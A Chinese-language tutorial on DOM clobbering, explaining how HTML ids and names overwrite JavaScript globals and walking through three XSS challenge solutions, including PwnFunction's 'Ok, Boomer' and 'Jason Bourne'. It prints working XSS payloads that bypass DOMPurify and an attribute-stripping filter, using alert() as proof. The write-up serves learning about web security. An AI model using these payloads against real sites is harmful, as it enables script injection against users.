Dom-clobbering原理和例题

目录

引入

1.获取标签

2.覆盖

3.多层覆盖

利用Dom-clobbering

1.tostring

2.集合取值

3.层级关系取值

4.三层取值

5.自定义属性

例题

1

2.

3.

引入

分析


引入

        先用三个小例子看看dom-clobbering干了什么

1.获取标签

这个例子给img标签分别做了一个id和一个name属性,然后利用下面三种方式调用

结果显示:直接打印x,y和用window打印x,y都可以打印出来,但是用document只能用name获取标签,无法用id获取。

2.覆盖

这个例子可以看出原本是没有cookie这个属性的,然后我创建了一个div,再创建一个img,里面包含一个name属性,值为cookie。

接着把img放入div,把div放入document.body下,再调用document.cookie发现获取了这个img标签,这就说明document.cookie已经被我们用img标签给覆盖了

3.多层覆盖

document.body取出来的是form表单,然后.appendchild就是通过id取出的img标签,就不是原本的appendChild这个函数了。被覆盖掉了。

利用Dom-clobbering

        从上面引入我们已经知道了怎么获取、覆盖掉标签了,但是标签并不是我们要利用的,这些标签也只是一个HTMLElment元素,所以我们要找到可控的字符串来利用

1.tostring

tosting这个函数就是转换成字符串的,先写一个例子看看:

        

这个代码创建了一个函数A,然后a调用toSting方法,相当于一个子类调用父类的toString方法,可以发现显示了[object object]

因为标签都继承了object的toString方法,所以我们用一个脚本过滤下哪些标签的toString是可以利用的:

Object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString 
!== Object.prototype.toString)

这个脚本可以遍历所有的标签,找到不是继承object的tostring方法的属性,找到了两个标签,分别是<a>和<area>

接下来测试一下a的tostring方法:

alert(test)执行的时候,会通过id将a标签抓出来,然后a标签会调用tostring方法,关键就是这个,他的tostring方法不是继承的,而是自己写的:调用href的值,所以就成了将aaaaa拿出来

2.集合取值

先看下这个代码,a标签是div的子标签,这样调用会显示undefined

解决方法就是先用两个id都等于x来构建一个集合类,再通过collection[name]来获取a标签:

3.层级关系取值

先利用这个脚本筛选出能使用层级关系的组合

有以下几个:

form->button
form->fieldset
form->image
form->img
form->input
form->object
form->output
div=document.createElement('div')
; for(var i=0;i<html.length;i++)
{
for(var j=0;j<html.length;j++) {
div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' 
id=element2>'; document.body.appendChild(div);
if(window.element1 &&
element1.element2){ 
log.push(html[i]+','+html[j]);
}
document.body.removeChild(div);
}
}
console.log(log.join('\n'));

拿output举个例子:

这就是直接将ouput标签的值给拿出来了,利用的正是标签的层级关系

4.三层取值

需要利用到集合+层级关系

直接上代码:

<form id="x" name="y"><output id=z>I've been clobbered</output></form>
<form id="x"></form>
<script> 
alert(x.y.z.value)
;
</script>

这个就是上面两个的套用,不需要解释了。

5.自定义属性

上面2、3、4这三个都是用的id和name取值,还是有一定限制,如果自定义属性就方便多了

这个脚本可以过滤出能够自定义属性的

var html = [...]//HTML elements array 
var props=[]; 
for(i=0;i<html.length;i++){
obj =
document.createElement(html[i]); 
for(prop in obj) {
if(typeof obj[prop] === 'string') { 
try {
DOM.innerHTML = '<'+html[i]+' id=x 
'+prop+'=1>'; 
if(document.getElementById('x')[prop] == 1) {
props.push(html[i]+':'+prop);
}
}catch(e){}
}
}
}
console.log([...new Set(props)].join('\n'));

得到能利用的:

a:username
a:password

测试代码:

<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
<script>
alert(x.username)//Clobberedusername 
alert(x.password)//Clobberedpassword
</script>

结果:

例题

1

        XSS Game - Ok, Boomer | PwnFunction

<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")setTimeout(ok, 2000)
</script>

思路就是把ok覆盖掉,把ok覆盖成一个自己写的标签,然后标签又能转换成字符串,就是用的a的tostring方法

所以payload先写成这样

<a id=ok href="alert(1337)">a</a>

结果没有弹窗,原因就是因为DOMPurify这个过滤框架

只能上官网查看白名单:

发现tel在白名单中,可以利用,所以最后payload是:

<a id=ok href="tel:alert(1)">a</a>

测试成功弹窗:

注意:

前提是这个ok是原本不存在的,如果ok是实际存在的,上述的就无法实现了

2.

const data = decodeURIComponent(location.hash.substr(1));
const root = document.createElement('div');
root.innerHTML = data;// 这里模拟了XSS过滤的过程,方法是移除所有属性
for (let el of root.querySelectorAll('*')) {let attrs = [];for (let attr of el.attributes) {attrs.push(attr.name);}for (let name of attrs) {el.removeAttribute(name);}
}document.body.appendChild(root); 

先看题:

        1.创建一个div,然后把我们写入的hash值放进div中。

        2.第一个循环拿出了div所有元素,然后定义一个空数组attrs。

        3.第二个循环把所有元素放到数组里。

        4.第三个循把数组里的元素删除,最后把过滤后的div放到body中。

简单来说就是个过滤函数,将所有元素过滤,我们的目标是弹窗

那么思路就是防止form属性被删除,利用双层获取值,使for循环报错跳出

先测试:

<form><input id=attributes></form>

结果:报错了,原因是因为数组里只有一个值不是一个可迭代对象(最少两个元素,可以被for循环)

那么久加一个Input,形成一个集合,让这个数组有至少两个元素,可以遍历

此时能弹窗,但大问题是需要用户交互,这明显不行

直接看最终payload来理解:

 <style>@keyframes x{}</style><form style="animation-name:x" onanimationstart="alert(1)"><input id=attributes><input id=attributes></form>

先在style中创建一个动画样式,然后再form表单中调用这个样式,然后属性onanimationstart来执行alert(1)(onanimationstart这个属性作用就是动画加载前所要执行的内容)

然后form表单中包含了两个input标签,是为了让函数报错用的

过滤函数的执行流程:

先style,发现没有属性,又到form,里面有元素,但是元素的attributes被DOM破坏成了两个input,循环了两次拿到两个空值,所以form的属性仍是完整的

继续循环到input了,删掉了,第二个也删掉了,这个input删掉无所谓,因为Input的作用就是保证form完整,并且已经完成了

总结一下:

在动画触发之前加alert(1),然后保证form里面的属性不可以被删除,就利用上述方法使过滤函数报错,结果form绕过过滤,并且没有用户交互

最后成功弹窗:

3.

XSS Game - Jason Bourne | PwnFunction

引入

<script>/* Helpers */const bootstrapAlert = (msg, type) => {return (`<div class="alert alert-${type}" role="alert">${DOMPurify.sanitize(msg)}</div>`)}document.getAlert = () => document.getElementById('alerts');
</script><script>/* Welcome */let name = (new URL(location).searchParams.get('name')) || "Pamela Landy";document.write(bootstrapAlert(`<b>Operation Treadstone</b>: Welcome <u>${name}</u>.`, 'info'))
</script><!-- alerts -->
<div id="alerts"></div><script>/* Handle to `#alert` */let alerts = document.getAlert();/* Treadstone Credentials */let identification = Math.random().toString(36).slice(2);let code = Math.floor(Math.random() * 89999 + 10000);/* Default Credentials */DEFAULTS = {};DEFAULTS[identification] = code;
</script><script>/* Optional Comment */if (location.hash) {let comment = document.createComment(decodeURI(location.hash).slice(1));document.querySelector('#alerts').appendChild(comment);}
</script><script>/* Use `DEFAULTS` to init `SECRETS` */SECRETS = DEFAULTS/* Increment the `code` before the check */let secretKey = new URL(location).searchParams.get('key') || "TREADSTONE_WEBB";SECRETS[secretKey] += 1;/* Authorization Check */if (SECRETS[secretKey] === SECRETS[identification]) {confirm(`Jesus Christ, it's Jason Bourne!`)} else {confirm(`You ain't David Webb!`)}
</script>

先把每个script拆开看:

        <script>
    /* Helpers */
    const bootstrapAlert = (msg, type) => {
        return (`<div class="alert alert-${type}" role="alert">${DOMPurify.sanitize(msg)}</div>`)
    }
 
    document.getAlert = () => document.getElementById('alerts');
</script>

定义了两个函数,第一个返回了被dompurify过滤的参数msg放到div中,第二个函数用于获取id为alerts的元素

<script>
    /* Welcome */
    let name = (new URL(location).searchParams.get('name')) || "Pamela Landy";
    document.write(
        bootstrapAlert(`<b>Operation Treadstone</b>: Welcome <u>${name}</u>.`, 'info')
    )
</script>

<!-- alerts -->
<div id="alerts"></div>

变量name用get接一个参数name,然后调用bootstrap显示欢迎$name的样式,然后定义一个id为alerts的div

<script>
    /* Handle to `#alert` */
    let alerts = document.getAlert();
 
    /* Treadstone Credentials */
    let identification = Math.random().toString(36).slice(2);
    let code = Math.floor(Math.random() * 89999 + 10000);
 
    /* Default Credentials */
    DEFAULTS = {};
    DEFAULTS[identification] = code;
</script>

把getalert()函数的返回值给alert变量,然后分别生成两个随机数给到DEFAULT对象,identification是键,code是值

<script>
    /* Optional Comment */
    if (location.hash) {
        let comment = document.createComment(decodeURI(location.hash).slice(1));
        document.querySelector('#alerts').appendChild(comment);
    }
</script>

判断hash是否存在,如果存在就取#后面的内容,然后添加搭配id为alerts的元素中

 
<script>
    /* Use `DEFAULTS` to init `SECRETS` */
    SECRETS = DEFAULTS
 
    /* Increment the `code` before the check */
    let secretKey = new URL(location).searchParams.get('key') || "TREADSTONE_WEBB";
    SECRETS[secretKey] += 1;
 
    /* Authorization Check */
    if (SECRETS[secretKey] === SECRETS[identification]) {
        confirm(`Jesus Christ, it's Jason Bourne!`)
    } else {
        confirm(`You ain't David Webb!`)
    }
</script>

把对象DEFAULTS赋给SECRETS,然后secretKey用get接一个参数key,然后让SECOETS对象中的secretKey建加一,如果没有就是创建一个新的键值对,建为secretKey,最后判断一下SECRETS[secretKey] 和SECRETS[identification]是否严格相等

分析

直接看payload来分析:

?name=<img name=getAlert><form id=alerts name=DEFAULTS>&key=innerHTML#--><img src οnerrοr=alert(1337)>

我们根据payload倒着分析

要让这个<img src οnerrοr=alert(1337)>成功弹窗就要让前面的闭合,那么就&key=innerHTML#-->

来写入,就会形成form.innerHTML+1,可以成功闭合注释符,就能成功弹窗。

innerHTML是通过key写给SECRETS的,但是到了form上,说明form成功覆盖了DEFAULTS,

所以在第五个script时 SECRETS = DEFAULTS就成了form.innerHTML了

现在解释下form怎么覆盖DEFAULTS的:

因为第三个script中getalert()函数因为接了我们传入的name=<img name=getAlert>报错了,所以这个script就不会执行下去,也就无法定义DEFAULTS对象了,然后form成功上位

还有一个点:

我们form中有一个id为alert,但是代码中还有一个div的id也为alert

document.querySelector('#alerts').appendChild(comment);这个代码之所以接的是我们写入的form

原因就是appendChild只认第一个标签,我们的form在div前,所以才成功被添加成功。       

总结一下:

?name=<img name=getAlert><form id=alerts name=DEFAULTS>&key=innerHTML#--><img src οnerrοr=alert(1337)>

        先传一个img使getAlert函数报错,导致DEFAULTS无法定义,又因为id与div的id相同但是在div之前,所以被加入元素,name为DEFAULTS又在第五个script成功赋给SECRETS,接着接到的key值接收了一个innerHTML来赋给form形成form.innerHTML+1来闭合标签,最后用img的onerror来弹窗

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/120299.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

博弈论基础

简单记录一下博弈论的知识。 博弈的分类&#xff1a; 关键词&#xff1a;正则博弈、扩展博弈、第三类博弈。 市场进入和阻挠博弈&#xff1a; 不完美博弈和不完全博弈&#xff1a; 混合策略和纯策略&#xff1a;

Docker安装部署ElasticSearch(ES)

文章目录 安装前准备创建挂载目录授权相关权限创建elasticsearch.yml文件 拉取镜像运行容器查看运行情况测试 安装前准备 创建挂载目录 用于在宿主机挂载日志&#xff0c;数据等内容 创建/opt/es/data目录 创建/opt/es/logs目录 创建/opt/es/plugins目录 创建/opt/es/conf目录…

docker 安装rabbitmq

前提&#xff1a;安装好docker docker安装_Steven-Russell的博客-CSDN博客 centos7安装docker_centos7 docker 安装软件_Steven-Russell的博客-CSDN博客 1、启动docker systemctl start docker 2、下载镜像 // 可以先search查询一下可用镜像&#xff0c;此处直接下载最新版本…

C#,《小白学程序》第十一课:双向链表(Linked-List)其二,链表的插入与删除的方法(函数)与代码

1 文本格式 /// <summary> /// 改进的车站信息类 class /// 增加了 链表 需要的两个属性 Last Next /// </summary> public class StationAdvanced { /// <summary> /// 编号 /// </summary> public int Id { get; set; } 0; ///…

java八股文面试[数据库]——mysql主从复制

什么是mysql的主从复制&#xff1f; MySQL 主从复制是指数据可以从一个MySQL数据库服务器主节点复制到一个或多个从节点。MySQL 默认采用异步复制方式&#xff0c;这样从节点不用一直访问主服务器来更新自己的数据&#xff0c;数据的更新可以在远程连接上进行&#xff0c;从节点…

《Python魔法大冒险》005 魔法挑战:自我介绍机器人

魔法师和小鱼坐在图书馆的一扇窗户旁&#xff0c;窗外的星空闪烁着神秘的光芒。魔法师轻轻地拍了拍小鱼的肩膀。 魔法师&#xff1a; 小鱼&#xff0c;你已经学会了编写简单的魔法程序&#xff0c;现在我要教你如何创造一个有自己思想的机器人&#xff0c;让它能够和我们一样&…

联合教育部高等学校科学研究发展中心,阿依瓦科技创新教育专项正式发布!

7 月 24 日&#xff0c;教育部科技发展中心官网发布了《中国高校产学研创新基金&#xff0d;阿依瓦科技创新教育专项申请指南》。 针对高校在人工智能、智能制造、智慧校园、大数据等领域科研和教研的创新研究&#xff0c;教育部高等学校科学研究发展中心与阿依瓦(北京)技术有…

c++ vs2019 cpp20 规范,set源码分析

&#xff08;1&#xff09;set模板和map模板都是继承于一个父类 所以没有再详细注释。维持红黑树主要的功能都在父类_Tree里了&#xff0c;比如节点的添加&#xff0c;删除&#xff0c;查找。父类红黑树的操作&#xff0c;并不依赖于特定的数据类型。做到了父类模板的通用性。…

Linux命令之用户管理(详解)

Linux命令之用户管理 常用基础命令修改root密码切换用户身份改变当前目录查看命令的用法查看命令之ls 用户管理用户的创建adduser创建useradd创建两种方式的区别 用户删除用户密码重置查看当前所有用户 在介绍Linux用户管理相关的命令之前&#xff0c;我们先介绍一些Linux的一些…

低压配电室电力安全解决方案

低压电气安全监控运维系统是力安科技基于物联网核心技术自主开发的高可靠性安全监测系统。其工作原理是利用物联网、云计算、大数据、数字传感技术及RFID无线射频识别技术来获取低压配电回路电压、电流、温度、有功、无功、功率因数等全电量的采集及配电线路的漏电、温度的实时…

实训笔记8.29

实训笔记8.29 8.29笔记一、《白龙马电商用户行为日志分析平台》项目概述--大数据离线项目1.1 项目的预备知识1.1.1 电商平台1.1.2 用户行为数据1.1.3 常见的软件/网站的组成和技术实现1.1.4 大数据中数据计算场景 1.2 项目的开发背景和开发意义1.3 项目的开发流程和技术选项1.4…

OpenCV(二十):图像卷积

1.图像卷积原理 图像卷积是一种在图像上应用卷积核的操作。卷积核是一个小的窗口矩阵&#xff0c;它通过在图像上滑动并与图像的像素进行逐元素相乘&#xff0c;然后求和来计算新图像中每个像素的值。通过滑动卷积核并在图像上进行逐像素运算&#xff0c;可以实现一系列图像处理…

在公网上使用SSH远程连接安卓手机Termux:将Android手机变身为远程服务器

文章目录 前言1.安装ssh2.安装cpolar内网穿透3.远程ssh连接配置4.公网远程连接5.固定远程连接地址 前言 使用安卓机跑东西的时候&#xff0c;屏幕太小&#xff0c;有时候操作不习惯。不过我们可以开启ssh&#xff0c;使用电脑PC端SSH远程连接手机termux。 本次教程主要实现在…

计算机网络的故事——简单的HTTP协议

简单的HTTP协议 文章目录 简单的HTTP协议一、简单的HTTP协议 一、简单的HTTP协议 HTTP是不保存状态的协议&#xff0c;为了实现保存状态功能于是引入了Cookie技术。 method: get:获取资源 post:传输实体主体 put:传输文件 head:获取报文首部&#xff0c;用于确认URI的有效性以…

百度低质量站点怎么办?解决百度低质量站点的方法和工具

百度低质量站点怎么恢复&#xff1f;这是许多网站主和运营人员在SEO优化过程中经常面临的一个问题。百度作为中国最大的搜索引擎&#xff0c;对于网站收录和排名具有至关重要的影响。然而&#xff0c;由于各种原因&#xff0c;有些网站可能面临被百度降权或收录减少的情况。那么…

微信小程序slot插槽的介绍,以及如何通过uniapp使用动态插槽

微信小程序文档 - slots介绍 由上述文档看俩来&#xff0c;微信小程序官方并没有提及动态插槽内容。 uniapp文档 - slots介绍 uni官方也未提及关于动态插槽的内容 在实际使用中&#xff0c;直接通过 <<slot :name"item.xxx" /> 这种形式会报错&#xff…

QProcess 调用 ffmpeg来处理音频

项目场景&#xff1a; 在文章 qt 实现音视频的分贝检测系统中&#xff0c;实现的是边播放变解析音频数据来统计音频的分贝大小&#xff0c;并不满足实际项目的需求&#xff0c;有的视频声音正常&#xff0c;有的视频声音就偏低&#xff0c;即使放到最大音量声音也是比较小&…

SpringMVC的工作流程及入门

目录 一、概述 ( 1 ) 是什么 ( 2 ) 作用 二、工作流程 ( 1 ) 流程 ( 2 ) 步骤 三、入门实例 ( 1 ) 入门实例 ( 2 ) 静态资源处理 给我们带来的收获 一、概述 ( 1 ) 是什么 SpringMVC是一个基于Java的Web应用开发框架&#xff0c;它是Spring Framework的一部…

【Spring Boot】使用MyBatis注解实现数据库操作

使用MyBatis注解实现数据库操作 MyBatis还提供了注解的方式&#xff0c;相比XML的方式&#xff0c;注解的方式更加简单方便&#xff0c;无须创建XML配置文件。接下来好好研究注解的使用方式。 1.XML和注解的异同 1&#xff09;注解模式使用简单&#xff0c;开发效率高&#…

本地缓存、Redis数据缓存策略

目录 需求看似简单&#xff0c;一取一传但是&#xff0c;又出现了一个新的问题&#xff0c;数据丢了。 一、缓存缓存有哪些分类&#xff1a; 二、分析一下本地缓存的优势三、本地缓存解决方案&#xff1f;1、基于Guava Cache实现本地缓存2、基于Caffeine实现本地缓存3、基于Enc…